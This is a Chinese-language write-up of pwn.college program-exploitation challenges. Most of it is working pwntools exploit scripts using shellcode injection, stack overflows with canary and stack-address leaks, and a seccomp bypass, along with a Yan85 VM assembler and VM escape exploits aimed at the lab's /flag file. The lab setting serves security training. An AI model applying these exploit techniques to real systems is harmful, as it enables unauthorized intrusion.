

Pwn.College Program Exploitation WP

前言

本节是利用程序漏洞导入shellcode的实践，比较好玩 :-}

~~利用socat在pwntools之外监听端口获得更好的体验:-{~~

```
1 socat tcp-listen:1234,reuseaddr,fork exec:"ssh hacker@pwn.college -i  
  ~/pwncollege.ssh ",pty,setsid,setpgid  
2 ,stderr,ctty
```

1 固定位置无限制

直接chmod，shellcraft拿shellcode，然后劫持到shellcode即可

```
1 from pwnheader import *  
2  
3 context.arch = "amd64"  
4  
5 sc = shellcraft.amd64.linux.chmod("/flag", 0o777)  
6 print(sc)  
7 shellcode = asm(sc)  
8  
9 # p = sta(1,0)  
10  
11 # ru("Reading 0x1000 bytes of shellcode from stdin.")  
12 # s(shellcode)  
13  
14 # ru("Payload size:")  
15 # sl(str(0x78+8))  
16  
17 # ru("bytes)!")  
18 # s(b"A"*0x78 + p64(0x1cd2b000))  
19  
20 p = sta(1,1)  
21  
22 ru("Reading 0x1000 bytes of shellcode from stdin.")
```

```

23  s(shellcode)
24
25  ru("Payload size:")
26  sl(str(0x58+8))
27
28  ru("bytes)!")
29  s(b"A"*0x58 + p64(0x1853e000))
30
31  itr()
32
33  dojo.system("ls -l / ; cat /flag").recvall()
34

```

2 无ASLR可执行栈

返回到给定的缓冲区即可，栈上地址需要稍微调一下(本地调试不行，必须远程，且pwndbg似乎会修改栈地址，用strace看下)

```

00:0000 | rsp 0x7fffffffdaa0 → 0x7ffff7fb74a0 (_IO_file_jumps) ← add byte ptr
01:0008 | -078 0x7fffffffdaa8 → 0x7ffff7ffec58 → 0x7ffff7fffee51 ← 'SHELL=/run
02:0010 | -070 0x7fffffffdaab → 0x7ffff7ffec48 → 0x7ffff7fffee32 ← '/challenge
03:0018 | -068 0x7fffffffdaab ← 0x1f7e605dd
04:0020 | -060 0x7fffffffdac0 ← 0x0
05:0028 | -058 0x7fffffffdac8 ← 0xc /* '\x0c' */
06:0030 | rsi 0x7fffffffdad0 ← 'da.,sjbjfabf'
07:0038 | -048 0x7fffffffdad8 ← 0x66626166 /* 'fabf' */
08:0040 | -040 0x7fffffffdae0 ← 0x0

```

```

1  from pwnheader import *
2
3  sc = shellcraft.amd64.linux.chmod("/flag", 0o777)
4  shellcode = asm(sc)
5
6  # p = sta(2,0)
7
8  # ru("Payload size:")
9  # sl(str(0x58+8))
10
11 # ru("bytes)!")
12 # s(shellcode+b'a'*(0x58-len(shellcode))+p64(0x7fffffffda0))
13
14 # debug(2,1)
15

```

```

16 p = sta(2,1)
17
18 ru("Payload size:")
19 sl(str(0x58+8))
20
21 ru("bytes)!")
22 s(shellcode+b'a'*(0x58-len(shellcode))+p64(0x7fffffffdafo))
23
24 itr()
25 cf()
26

```

-- ASLR + Canary --

3 可执行栈

可重入函数，漏一下canary和rbp，然后自己调一下偏移（可以静态算!）就可以了

```

1  from pwnheader import *
2
3  sc = shellcraft.amd64.linux.chmod("/flag", 0o777)
4  shellcode = asm(sc)
5
6  context.log_level = 'info'
7
8  # p = sta(3,0)
9
10 # ru("Payload size:")
11 # sl(str(0x59))
12 # ru("bytes)!")
13 # s(b'REPEAT--'*(0x58//8)+b'A')
14 # ru("--A")
15 # canary = bytearray(b'\0')*r(7)
16 # log.success(canary.hex())
17
18 # ru("Payload size:")
19 # sl(str(0x60))
20 # ru("bytes)!")
21 # s(b'REPEAT--'*(0x60//8 - 1)+b"HERE!!!!")
22 # ru("HERE!!!!")
23 # stack = uu64(r(6)) # 48bit address space is used

```

```

24  # log.success(hex(stack))
25
26  # ru("Payload size:")
27  # sl(str(0x68+8))
28  # ru("bytes!")
29  # s(shellcode+b"a"*(0x58-len(shellcode))+canary+b'B'*8+p64(stack - 0x200 +
    0x40))
30
31  # debug(3,1)
32
33  p = sta(3,1)
34
35  ru("Payload size:")
36  sl(str(0x79))
37  ru("bytes!")
38  s(b'REPEAT--'*(0x78//8)+b'A')
39  ru("--A")
40  canary = bytearray(b'\0')+r(7)
41  log.success(canary.hex())
42
43  ru("Payload size:")
44  sl(str(0x80))
45  ru("bytes!")
46  s(b'REPEAT--'*(0x80//8 - 1)+b"HERE!!!!")
47  ru("HERE!!!!")
48  stack = uu64(r(6)) # 48bit address space is used
49  log.success(hex(stack))
50
51  ru("Payload size:")
52  sl(str(0x88+8))
53  ru("bytes!")
54  s(shellcode+b"a"*(0x78-len(shellcode))+canary+b'B'*8+p64(stack - 0x260 +
    0x40))
55
56  itr()
57  cf()

```

4 可执行栈 + 逻辑限制

不满足逻辑限制就直接exit而不是return，覆写一下就可以了

```

1
    puts("Goodbye!");
    if ( v9[12] != 0x4AB9BE770438A205LL )
    {
        puts("exit() condition triggered. Exiting!");
        exit(42);
    }
    puts("exit() condition avoided! Continuing execution.");
    return 0LL;
}

```

```

1  from pwnheader import *
2
3  sc = shellcraft.amd64.linux.chmod("/flag", 0o777)
4  shellcode = asm(sc)
5
6  # p = sta(4,0)
7
8  # ru("Payload size:")
9  # sl(str(0x49))
10 # ru("bytes)!")
11 # s(b'REPEAT--'*(0x48//8)+b'A')
12 # ru("--A")
13 # canary = bytearray(b'\0')+r(7)
14 # log.success(canary.hex())
15
16 # ru("Payload size:")
17 # sl(str(0x50))
18 # ru("bytes)!")
19 # s(b'REPEAT--'*(0x50//8 - 1)+b"HERE!!!!")
20 # ru("HERE!!!!")
21 # stack = uu64(r(6)) # 48bit address space is used
22 # log.success(hex(stack))
23
24 # ru("Payload size:")
25 # sl(str(0x58+8))
26 # ru("bytes)!")
27 # s(shellcode+b"a"*(0x38-len(shellcode)) +p64(0x60A4545FFFE75245)+b'C'*8
   +canary+b'B'*8+p64(stack - 0x1d0 + 0x40))
28
29 p = sta(4,1)
30
31 ru("Payload size:")
32 sl(str(0x69))
33 ru("bytes)!")
34 s(b'REPEAT--'*(0x68//8)+b'A')

```

```

35  ru("--A")
36  canary = bytearray(b'\0')+r(7)
37  log.success(canary.hex())
38
39  ru("Payload size:")
40  sl(str(0x70))
41  ru("bytes!")
42  s(b'REPEAT--'*(0x70//8 - 1)+b'HERE!!!!')
43  ru("HERE!!!!")
44  stack = uu64(r(6)) # 48bit address space is used
45  log.success(hex(stack))
46
47  ru("Payload size:")
48  sl(str(0x78+8))
49  ru("bytes!")
50  s(shellcode+b'a'*(0x60-len(shellcode))
    +p64(0x4AB9BE770438A205)+canary+b'B'*8+p64(stack - (0xb0*3+0x20) + 0x40))
51
52  itr()
53  cf()

```

5 可执行栈+ 逻辑限制2

避免执行seccomp，和上面一样的覆写magic

注意Canary有时不正好在rbp的上面，填充要多些

```

1  from pwnheader import *
2
3  sc = shellcraft.amd64.linux.chmod("/flag", 0o777)
4  shellcode = asm(sc)
5
6  context.log_level = 'info'
7
8  # p = sta(5,0)
9
10 # ru("Payload size:")
11 # sl(str(0x69))
12 # ru("bytes!")
13 # s(b'REPEAT--'*(0x68//8)+b'A')
14 # ru("--A")
15 # canary = bytearray(b'\0')+r(7)
16 # log.success(canary.hex())
17

```

```

18 # ru("Payload size:")
19 # sl(str(0x80))
20 # ru("bytes)!")
21 # s(b'REPEAT--'*(0x80//8 - 1)+b"HERE!!!!")
22 # ru("HERE!!!!")
23 # stack = uu64(r(6)) # 48bit address space is used
24 # log.success(hex(stack))
25
26 # ru("Payload size:")
27 # sl(str(0x88+8))
28 # ru("bytes)!")
29 # s(shellcode+b"a"*(0x50-len(shellcode))
    +p64(0xC6E15E179D1D32F)+b'C'*16+canary+b'B'*24+p64(stack - (0xd0*3+0x20) +
    0x50))
30
31 p = sta(5,1)
32
33 ru("Payload size:")
34 sl(str(0x59))
35 ru("bytes)!")
36 s(b'REPEAT--'*(0x58//8)+b'A')
37 ru("--A")
38 canary = bytearray(b'\0')+r(7)
39 log.success(canary.hex())
40
41 ru("Payload size:")
42 sl(str(0x60))
43 ru("bytes)!")
44 s(b'REPEAT--'*(0x60//8 - 1)+b"HERE!!!!")
45 ru("HERE!!!!")
46 stack = uu64(r(6)) # 48bit address space is used
47 log.success(hex(stack))
48
49 ru("Payload size:")
50 sl(str(0x68+8))
51 ru("bytes)!")
52 s(shellcode+b"a"*(0x40-len(shellcode))
    +p64(0xA06025DC652C6AB7)+b'C'*16+canary+b'B'*8+p64(stack - (0xb0*3+0x20) +
    0x50))
53
54 itr()
55 cf()
56

```

6 可执行栈 + Seccomp

```

{
    puts("Restricting system calls (default: kill)");
    v17 = seccomp_init(0LL);
    for ( i = 0; i <= 1; ++i )
    {
        v6 = v16[i];
        v7 = (const char *)seccomp_syscall_resolve_num_arch(0LL, v6);
        printf("Allowing syscall: %s (number %i)\n", v7, v6);
        if ( (unsigned int)seccomp_rule_add(v17, 2147418112LL, (unsigned int)v16[i], 0LL) )
            __assert_fail(
                "seccomp_rule_add(ctx, SCMP_ACT_ALLOW, syscalls_allowed[i], 0) == 0",
                "<stdin>",
                0x95u,
                "challenge");
    }
    if ( (unsigned int)seccomp_load(v17) )
        __assert_fail("seccomp_load(ctx) == 0", "<stdin>", 0x98u, "challenge");
    puts("Goodbye!");
    return 0LL;
}

```

需要构造payload的时候一并放通shellcode中的syscall

```

1  from pwnheader import *
2
3  sc = shellcraft.amd64.linux.chmod("/flag", 0o777)
4  shellcode = asm(sc)
5
6  context.log_level = 'info'
7
8  # p = sta(6,0)
9
10 # ru("Payload size:")
11 # sl(str(0x59))
12 # ru("bytes)!")
13 # s(b'REPEAT--'*(0x58//8)+b'A')
14 # ru("--A")
15 # canary = bytearray(b'\0')+r(7)
16 # log.success(canary.hex())
17
18 # ru("Payload size:")
19 # sl(str(0x70))
20 # ru("bytes)!")
21 # s(b'REPEAT--'*(0x70//8 - 1)+b"HERE!!!!")
22 # ru("HERE!!!!")
23 # stack = uu64(r(6)) # 48bit address space is used
24 # log.success(hex(stack))
25
26 # ru("Payload size:")
27 # sl(str(0x78+8))
28 # ru("bytes)!")

```



```

29 # s(shellcode+b"a"*(19*4-len(shellcode))
    +p32(1)+p32(90)+p32(0)+canary+b'B'*24+p64(stack - (0xc0*3+0x20) + 0x50))
30
31 p = sta(6,1)
32
33 ru("Payload size:")
34 sl(str(0x69))
35 ru("bytes!")
36 s(b'REPEAT--'*(0x68//8)+b'A')
37 ru("--A")
38 canary = bytearray(b'\0')+r(7)
39 log.success(canary.hex())
40
41 ru("Payload size:")
42 sl(str(0x70))
43 ru("bytes!")
44 s(b'REPEAT--'*(0x70//8 - 1)+b"HERE!!!!")
45 ru("HERE!!!!")
46 stack = uu64(r(6)) # 48bit address space is used
47 log.success(hex(stack))
48
49 ru("Payload size:")
50 sl(str(0x78+8))
51 ru("bytes!")
52 s(shellcode+b"a"*(23*4-len(shellcode))
    +p32(1)+p32(90)+p32(0)+canary+b'B'*8+p64(stack - (0xc0*3+0x20) + 0x50))
53
54 itr()
55 cf()

```

-- Yan85 VM --

asm参见: <https://github.com/OraclePi/Yan85-disassembler-assembler/blob/main/ad85.py>

架构参见（仅作参考，实际程序会稍微修改）：

<https://drive.google.com/file/d/130mxJwJnfohfW0NYKD9z5xxu5LloPEZU/view>

需要根据实际程序修改各opcode/reg/flags/byteorder/syscall的对应值，以及注意指令字节序

修过了的 yan85.py：（可支持字节序和空换行）

```
1 #!/usr/bin/env python3
```

```
2  import argparse
3  import base64
4  from pwn import info
5
6  def parse_args():
7      parser = argparse.ArgumentParser(description="yan85 VM disassembler")
8      group = parser.add_mutually_exclusive_group()
9      group.add_argument("-d", "--disassemble", action="store_true",
10                        help="disassemble the yan85 opcode")
11      group.add_argument("-a", "--assemble", action="store_true",
12                        help="assemble the yan85 instruction")
13      parser.add_argument("-b64", "--base64", action="store_true",
14                        help="base64 encode the output")
15      parser.add_argument(
16          "file", help="file to process")
17      args = parser.parse_args()
18
19      if args.file is None:
20          parser.print_help()
21          exit()
22
23      return args
24
25  vm_op = {
26      "IMM": 0x2,
27      "ADD": 0x8,
28      "STK": 0x40,
29      "STM": 0x80,
30      "LDM": 0x10,
31      "CMP": 0x4,
32      "JMP": 0x1,
33      "SYS": 0x20
34  } # modified
35
36  vm_reg = {
37      "a": 0x8,
38      "b": 0x1,
39      "c": 0x40,
40      "d": 0x2,
41      "s": 0x4,
42      "i": 0x10,
43      "f": 0x20,
44      "NONE": 0x0
45  } # modified
46
47  vm_syscall = {
48      "open": 0x4,
```

```

49     "read_code": 0x10,
50     "read_memory": 0x2,
51     "write": 0x20,
52     "exit": 0x1,
53     "sleep": 0x8
54 } # modified
55
56 vm_jump = {
57     "L": 0x1,
58     "G": 0x4,
59     "E": 0x10,
60     "N": 0x8,
61     "Z": 0x2,
62     "*": 0x0
63 } # modified
64
65 vm_byteorder = {
66     "op": 2,
67     "arg1": 0,
68     "arg2": 1
69 }
70
71 def reg(val):
72     for k, v in vm_reg.items():
73         if val == v:
74             return k
75     assert False, "Unknown register value"
76
77 class VM_OP:
78     @staticmethod
79     def imm(arg1, arg2):
80         return "IMM", reg(arg1), hex(arg2)
81
82     @staticmethod
83     def add(arg1, arg2):
84         return "ADD", reg(arg1), reg(arg2)
85
86     @staticmethod
87     def stk(arg1, arg2):
88         return "STK", reg(arg1), reg(arg2)
89
90     @staticmethod
91     def stm(arg1, arg2):
92         return "STM", reg(arg1), reg(arg2)
93
94     @staticmethod
95     def ldm(arg1, arg2):

```

```

96         return "LDM", reg(arg1), reg(arg2)
97
98     @staticmethod
99     def cmp(arg1, arg2):
100         return "CMP", reg(arg1), reg(arg2)
101
102     @staticmethod
103     def jmp(arg1, arg2):
104         for k, v in vm_jmp.items():
105             if arg1 == v:
106                 return "JMP", k, reg(arg2)
107         assert False, "Unknown jmp type"
108
109     @staticmethod
110     def sys(arg1, arg2):
111         for k, v in vm_syscall.items():
112             if arg1 == v:
113                 for k1, v1 in vm_reg.items():
114                     if arg2 == v1:
115                         # return k, "", k1
116                         return k, "", ""
117                 assert False, "Unknown register"
118         assert False, "Unknown syscall"
119
120 def vm_disasm(opcode):
121     assert len(opcode) % 3 == 0 and "Invalid opcode length"
122     op, arg1, arg2 = opcode
123     for k, v in vm_op.items():
124         if op == v:
125             if k == "IMM":
126                 return VM_OP.imm(arg1, arg2)
127             elif k == "ADD":
128                 return VM_OP.add(arg1, arg2)
129             elif k == "STK":
130                 return VM_OP.stk(arg1, arg2)
131             elif k == "STM":
132                 return VM_OP.stm(arg1, arg2)
133             elif k == "LDM":
134                 return VM_OP.ldm(arg1, arg2)
135             elif k == "CMP":
136                 return VM_OP.cmp(arg1, arg2)
137             elif k == "JMP":
138                 return VM_OP.jmp(arg1, arg2)
139             elif k == "SYS":
140                 return VM_OP.sys(arg1, arg2)
141
142 def vm_asm(instruction):

```

```

143     op, arg1, arg2 = [ins.strip("\n").replace(" ", "")
144                       for ins in instruction.split(" ")]
145     for k, v in vm_op.items():
146         if op == k:
147             if k == "IMM":
148                 info(f"{op} {arg1} {arg2}")
149                 for k1, v1 in vm_reg.items():
150                     if arg1 == k1:
151                         hex_str = arg2.replace("0x", "")
152                         if len(hex_str) % 2 != 0:
153                             hex_str = "0" + hex_str
154                         return (bytes([v]) + bytes([v1]) +
bytes.fromhex(hex_str))
155             elif k == "ADD":
156                 info(f"{op} {arg1} {arg2}")
157                 for k1, v1 in vm_reg.items():
158                     if arg1 == k1:
159                         for k2, v2 in vm_reg.items():
160                             if arg2 == k2:
161                                 return bytes([v, v1, v2])
162             elif k == "STK":
163                 info(f"{op} {arg1} {arg2}")
164                 for k1, v1 in vm_reg.items():
165                     if arg1 == k1:
166                         for k2, v2 in vm_reg.items():
167                             if arg2 == k2:
168                                 return bytes([v, v1, v2])
169             elif k == "STM":
170                 info(f"{op} {arg1} {arg2}")
171                 for k1, v1 in vm_reg.items():
172                     if arg1 == k1:
173                         for k2, v2 in vm_reg.items():
174                             if arg2 == k2:
175                                 return bytes([v, v1, v2])
176             elif k == "LDM":
177                 info(f"{op} {arg1} {arg2}")
178                 for k1, v1 in vm_reg.items():
179                     if arg1 == k1:
180                         for k2, v2 in vm_reg.items():
181                             if arg2 == k2:
182                                 return bytes([v, v1, v2])
183             elif k == "CMP":
184                 info(f"{op} {arg1} {arg2}")
185                 for k1, v1 in vm_reg.items():
186                     if arg1 == k1:
187                         for k2, v2 in vm_reg.items():
188                             if arg2 == k2:

```

```

189             return bytes([v, v1, v2])
190         elif k == "JMP":
191             info(f"{op} {arg1} {arg2}")
192             for k1, v1 in vm_jump.items():
193                 if arg1 == k1:
194                     for k2, v2 in vm_reg.items():
195                         if arg2 == k2:
196                             return bytes([v, v1, v2])
197         elif k == "SYS":
198             info(f"{op} {arg1} {arg2}")
199             for k1, v1 in vm_syscall.items():
200                 if int(arg1, 16) == v1:
201                     for k2, v2 in vm_reg.items():
202                         if arg2 == k2:
203                             return bytes([v, v1, v2])
204
205 def dis85(opcode):
206     for i in range(0, len(opcode), 3):
207         op, arg1, arg2 = vm_disasm(opcode[i:i+3])
208         if op == "STM":
209             info(f"{op} *{arg1} = {arg2}")
210         elif op == "LDM":
211             info(f"{op} {arg1} = *{arg2}")
212         elif op == "IMM":
213             info(f"{op} {arg1} = {arg2}")
214         elif op == "STK":
215             if arg1 == "NONE":
216                 info(f"push {arg2}")
217             elif arg2 == "NONE":
218                 info(f"pop {arg1}")
219
220         else:
221             info(f"{op} {arg1} {arg2}")
222
223 def set85(op=None, reg=None, syscall=None, jmp=None, byteorder=None):
224     global vm_op, vm_reg, vm_syscall, vm_jump, vm_byteorder
225     if op != None:
226         vm_op = op
227     if reg != None:
228         vm_reg = reg
229     if syscall != None:
230         vm_syscall = syscall
231     if jmp != None:
232         vm_jump = jmp
233     if byteorder != None:
234         vm_byteorder = byteorder
235

```

```

236 def asm85(insts):
237     info(vm_op)
238     payload = b""
239     insts = insts.split("\n")
240     for inst in insts:
241         if inst: # skip empty lines
242             # payload += bytes(vm_asm(inst))
243             k = bytes(vm_asm(inst))
244             b = bytearray(3)
245             b[vm_byteorder["op"]] = k[0]
246             b[vm_byteorder["arg1"]] = k[1]
247             b[vm_byteorder["arg2"]] = k[2]
248             payload += b
249
250     return payload
251
252 if __name__ == "__main__":
253
254     args = parse_args()
255
256     if args.disassemble:
257         with open(args.file, "rb") as f:
258             vm_code = f.read()
259             dis85(vm_code)
260     elif args.assemble:
261         with open(args.file, "r") as f:
262             ins = f.read()
263             if args.base64:
264                 info(f"base64: {base64.b64encode(asm85(ins))}")
265             else:
266                 info(f"payload: {asm85(ins)}")

```

7 无保护写出VM

```

--
26 if ( (a2 & 2) != 0 )
27 {
28     puts("[s] ... read_memory");
29     v5 = read(a1[1024], &a1[a1[1025] + 768], a1[1026]);
30     write_register(a1, SHIBYTE(a2), v5);
31 }
32 if ( (a2 & 0x20) != 0 )
char v5: // a1

```

当c+b>256时可以写出去

```
1  from pwnheader import *
2  from yan85 import *
3
4  context.log_level = "info"
5
6  # p = sta(7,0)
7
8  # sh = ""
9  # IMM c 0xff
10 # IMM b 0xff
11 # SYS 0x2 d
12 # ""
13
14 # shellcode = asm85(sh)
15 # # dis85(shellcode)
16 # shellcode += b'a'*(0x10 - len(shellcode))
17 # sc = shellcraft.amd64.linux.chmod("/flag", 0o777)
18 # shellcode += asm(sc)
19
20 # ru("accomplish your goals. Good luck!")
21 # s(shellcode)
22 # ru("... read_memory")
23 # s(b"\xff"*25+p64(0x00007fffffffefb60 - 0x3f0))
24
25 p = sta(7,1)
26
27 sh = ""
28 IMM c 0xff
29 IMM b 0xff
30 SYS 0x10 d
31 ""
32
33 vm_op = {
34     "IMM": 0x40,
35     "ADD": 0x1,
36     "STK": 0x10,
37     "STM": 0x8,
38     "LDM": 0x4,
39     "CMP": 0x2,
40     "JMP": 0x20,
41     "SYS": 0x80
42 } # modified
43
44 vm_reg = {
```



```

45     "a": 0x8,
46     "b": 0x40,
47     "c": 0x4,
48     "d": 0x2,
49     "s": 0x10,
50     "i": 0x1,
51     "f": 0x20,
52     "NONE": 0x8
53 } # modified
54
55 vm_byteorder = {
56     "op":2,
57     "arg1":0,
58     "arg2":1
59 }
60
61 set85(vm_op,vm_reg,byteorder=vm_byteorder)
62 shellcode = asm85(sh)
63 # dis85(shellcode)
64 shellcode += b'a'*(0x10 - len(shellcode))
65 sc = shellcraft.amd64.linux.chmod("/flag", 0o777)
66 shellcode += asm(sc)
67
68 ru("Please input your yancode:")
69 s(shellcode+b'\0'*(0x300 - len(shellcode))+b"\xff"*25+p64(0x00007fffffffefb60
- 0x3f0))
70
71 itr()
72 cf()
73

```

8 带 ASLR+Canary 读写出VM

```

}
if ( (a2 & 8) != 0 )
{
    puts("[s] ... read_memory");
    v5 = read(a1[1024], &a1[a1[1025] + 768], a1[1026]);
    write_register(a1, BYTE2(a2), v5);
}
if ( (a2 & 0x10) != 0 )
{
    puts("[s] ... write");
    v6 = write(a1[1024], &a1[a1[1025] + 768], a1[1026]);
    write_register(a1, BYTE2(a2), v6);
}

```

同样的，读写都有溢出，看好偏移做

需要注意，实际调试发现栈上压入的rbp是0，需要找retaddr以下的栈帧一个值得到栈偏移地址

00000100	5b	73	5d	20	2e	2e	2e	20	77	72	69	74	65	0a	61	61	[s]	...	writ	e·aa
00000110	61	00	fd	ff	00	00	09	00	00	00	bb	be	b4	b0	fb	d0	a...	...	...	...
00000120	4d	00	00	00	00	00	00	00	00	83	f0	b6	e8	d0	7f	00	M...	...	...	...
00000130	00	20	56	d7	e8	d0	7f	00	00	38	2e	35	d0	fc	7f	00	· V·	...	·8.5	...
00000140	00	00	00	00	00	01	00	00	00	a8	f2	d1	6d	36	56	00		...	...	m6V·
00000150	00	a0	f5	d1	6d	36	56	00	00	f4	7e	e8	05	df	43	ca	····	m6V·	·~·	·C·
00000160	ce	40	e1	d1	6d	36	56	00	00	30	2e	35	d0	fc	7f	00	·@··	m6V·	·0.5	...
00000170	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	····	...	...	...

```

1  from pwnheader import *
2  from yan85 import *
3
4  # context.log_level = "info"
5
6  # p = sta(8,0)
7
8  # vm_op = {
9  #     "IMM": 0x1,
10 #     "ADD": 0x80,
11 #     "STK": 0x40,
12 #     "STM": 0x4,
13 #     "LDM": 0x10,
14 #     "CMP": 0x8,
15 #     "JMP": 0x2,
16 #     "SYS": 0x20
17 # } # modified
18
19 # vm_reg = {
20 #     "a": 0x1,
21 #     "b": 0x4,

```

```

22 # "c": 0x10,
23 # "d": 0x40,
24 # "s": 0x8,
25 # "i": 0x2,
26 # "f": 0x20,
27 # "NONE": 0x0
28 # } # modified
29
30 # vm_byteorder = {
31 #     "op":1,
32 #     "arg1":0,
33 #     "arg2":2
34 # }
35
36 # set85(vm_op, vm_reg, byteorder=vm_byteorder)
37
38 # sh=""
39 # IMM b 0x61
40 # IMM s 0xfc
41 # STK NONE b
42 # STK NONE b
43 # STK NONE b
44 # STK NONE b
45
46 # IMM b 0xfd
47 # IMM c 0xff
48 # SYS 0x10 d
49 # SYS 0x8 d
50 # ""
51
52 # shellcode = asm85(sh)
53 # shellcode += b'a'*(0x20 - len(shellcode))
54 # sc = shellcraft.amd64.linux.chmod("/flag", 0o777)
55 # shellcode += asm(sc)
56 # shellcode += b'\0'*(0x300 - len(shellcode)) # padding
57
58 # ru("accomplish your goals. Good luck!")
59 # s(shellcode)
60 # ru(b"aaa")
61 # r(8)
62 # canary = uu64(r(8))
63 # r(24)
64 # stack = uu64(r(8)) - (0x7928-0x7440)
65
66 # log.success(hex(canary))
67 # log.success(hex(stack))
68

```

```

69  # s(b'\xff'*11+p64(canary)+b'\0'*8+p64(stack))
70
71  # debug(8,1)
72
73  p = sta(8,1)
74
75  vm_op = {
76      "IMM": 0x2,
77      "ADD": 0x20,
78      "STK": 0x1,
79      "STM": 0x4,
80      "LDM": 0x80,
81      "CMP": 0x8,
82      "JMP": 0x40,
83      "SYS": 0x10
84  } # modified
85
86  vm_reg = {
87      "a": 0x2,
88      "b": 0x1,
89      "c": 0x4,
90      "d": 0x40,
91      "s": 0x8,
92      "i": 0x20,
93      "f": 0x10,
94      "NONE": 0x0
95  } # modified
96
97  vm_byteorder = {
98      "op": 0,
99      "arg1": 1,
100     "arg2": 2
101  }
102
103  set85(vm_op, vm_reg, byteorder=vm_byteorder)
104
105  sh=""
106  IMM b 0x61
107  IMM s 0xfc
108  STK NONE b
109  STK NONE b
110  STK NONE b
111  STK NONE b
112
113  IMM b 0xfd
114  IMM c 0xff
115  SYS 0x1 d

```

```

116  SYS 0x10 d
117  ""
118
119  shellcode = asm85(sh)
120  shellcode += b'a'*(0x20 - len(shellcode))
121  sc = shellcraft.amd64.linux.chmod("/flag", 0o777)
122  shellcode += asm(sc)
123  shellcode += b'\0'*(0x300 - len(shellcode)) # padding
124
125  ru("Please input your yancode:")
126  s(shellcode)
127  ru(b"aaa")
128  r(8)
129  canary = uu64(r(8))
130  r(24)
131  stack = uu64(r(8)) - (0xfe18-0xf930)
132
133  log.success(hex(canary))
134  log.success(hex(stack))
135
136  s(b'\xff'*11+p64(canary)+b'\0'*8+p64(stack))
137
138  itr()
139  cf()

```

9 利用逻辑错误实现 SMC 过 Filter

主体filter如下，只允许一个syscall指令

```

...
puts("[!] Are you ready for ultimate Yan85 shellcoding? This challenge only allows you ONE sys instruction!");
v3 = 0;
for ( i = 0; i <= 255; ++i )
{
    if ( (v5[3 * i + 256] & 8) != 0 )
        ++v3;
}
if ( v3 > 1 )
    __assert_fail("num_syscalls <= 1", "<stdin>", 411u, "main");
puts("[+] This might seem impossible, but this challenge makes one memory error that will allow you");
puts("[+] to execute the system calls you need. The error is what's known as an *intra-frame* overflow:");
puts("[+] you won't be able to hijack control flow, but you'll be able to mess with the intended logic");
puts("[+] of the emulator!");
...

```

注意到data区放在了前256字节，同时，

```

if ( (a2 & 0x800) != 0 )
{
    puts("[s] ... open");
    v3 = open((const char *)&a1[a1[1024]], a1[1025], a1[1026]);
    write_register(a1, BYTE2(a2), v3);
}
if ( (a2 & 0x1000) != 0 )
    crash("Disallowed system call: SYS_READ_CODE");
if ( (a2 & 0x100) != 0 )
{
    puts("[s] ... read_memory");
    v4 = read(a1[1024], &a1[a1[1025]], a1[1026]);
    write_register(a1, BYTE2(a2), v4);
}
if ( (a2 & 0x2000) != 0 )
{
    puts("[s] ... write");
    v5 = a1[1026];
    if ( 256 - a1[1025] <= v5 )
        LOBYTE(v5) = -a1[1025];
    v6 = write(a1[1024], &a1[a1[1025]], (unsigned __int8)v5);
    write_register(a1, BYTE2(a2), v6);
}

```

虽然禁止了read_code，但是考虑read_mem，只要溢出就可以修改代码了

没禁止open，修完可以ORW了

```

1  from pwnheader import *
2  from yan85 import *
3
4  # context.log_level = "info"
5
6  # p = sta(9,0)
7
8  # vm_op = {
9  #     "IMM": 0x20,
10 #     "ADD": 0x10,
11 #     "STK": 0x4,
12 #     "STM": 0x2,
13 #     "LDM": 0x80,
14 #     "CMP": 0x1,
15 #     "JMP": 0x40,
16 #     "SYS": 0x8
17 # } # modified
18

```

```
19 # vm_reg = {
20 #     "a": 0x10,
21 #     "b": 0x8,
22 #     "c": 0x2,
23 #     "d": 0x1,
24 #     "s": 0x40,
25 #     "i": 0x20,
26 #     "f": 0x4,
27 #     "NONE": 0x0
28 # } # modified
29
30 # vm_byteorder = {
31 #     "op":0,
32 #     "arg1":1,
33 #     "arg2":2
34 # }
35
36 # set85(vm_op, vm_reg, byteorder=vm_byteorder)
37
38 # loader=""
39 # IMM b 0xff
40 # IMM c 0xff
41 # SYS 0x1 d
42 # ""
43
44 # ldr = asm85(loader)
45 # ru("Please input your yancode:")
46 # s(ldr.ljust(0x300, b'\0'))
47
48 # sh=""
49 # IMM a 0x2f
50 # STK NONE a
51 # IMM a 0x66
52 # STK NONE a
53 # IMM a 0x6c
54 # STK NONE a
55 # IMM a 0x61
56 # STK NONE a
57 # IMM a 0x67
58 # STK NONE a
59 # IMM a 0x0
60 # STK NONE a
61
62 # IMM a 0x1
63 # IMM b 0x0
64 # SYS 0x8 a
65
```

```

66  # IMM b 0x80
67  # IMM c 0xff
68  # SYS 0x1 d
69
70  # IMM a 0x1
71  # SYS 0x20 d
72
73  # SYS 0x4 NONE
74
75  # ""
76
77  # shellcode = asm85(sh)
78  # s((b'\0'*10+shellcode).ljust(0xff, b'\0'))
79
80  p = sta(9,1)
81
82  vm_op = {
83      "IMM": 0x80,
84      "ADD": 0x10,
85      "STK": 0x4,
86      "STM": 0x8,
87      "LDM": 0x2,
88      "CMP": 0x4,
89      "JMP": 0x1,
90      "SYS": 0x20
91  } # modified
92
93  vm_reg = {
94      "a": 0x20,
95      "b": 0x10,
96      "c": 0x8,
97      "d": 0x40,
98      "s": 0x1,
99      "i": 0x2,
100     "f": 0x4,
101     "NONE": 0x0
102  } # modified
103
104  vm_byteorder = {
105      "op": 1,
106      "arg1": 2,
107      "arg2": 0
108  }
109
110  set85(vm_op, vm_reg, byteorder=vm_byteorder)
111
112  loader=""

```



```
113 IMM b 0xff
114 IMM c 0xff
115 SYS 0x20 d
116 ""
117
118 ldr = asm85(loader)
119 ru("Please input your yancode:")
120 s(ldr.ljust(0x300, b'\0'))
121
122 sh=""
123 IMM a 0x2f
124 STK NONE a
125 IMM a 0x66
126 STK NONE a
127 IMM a 0x6c
128 STK NONE a
129 IMM a 0x61
130 STK NONE a
131 IMM a 0x67
132 STK NONE a
133 IMM a 0x0
134 STK NONE a
135
136 IMM a 0x1
137 IMM b 0x0
138 SYS 0x8 a
139
140 IMM b 0x80
141 IMM c 0xff
142 SYS 0x20 d
143
144 IMM a 0x1
145 SYS 0x1 d
146
147 SYS 0x10 NONE
148
149 ""
150
151 shellcode = asm85(sh)
152 s((b'\0'*10+shellcode).ljust(0xff, b'\0'))
153
154 itr()
155
```

10 利用逻辑漏洞 实现代码复用 Filter

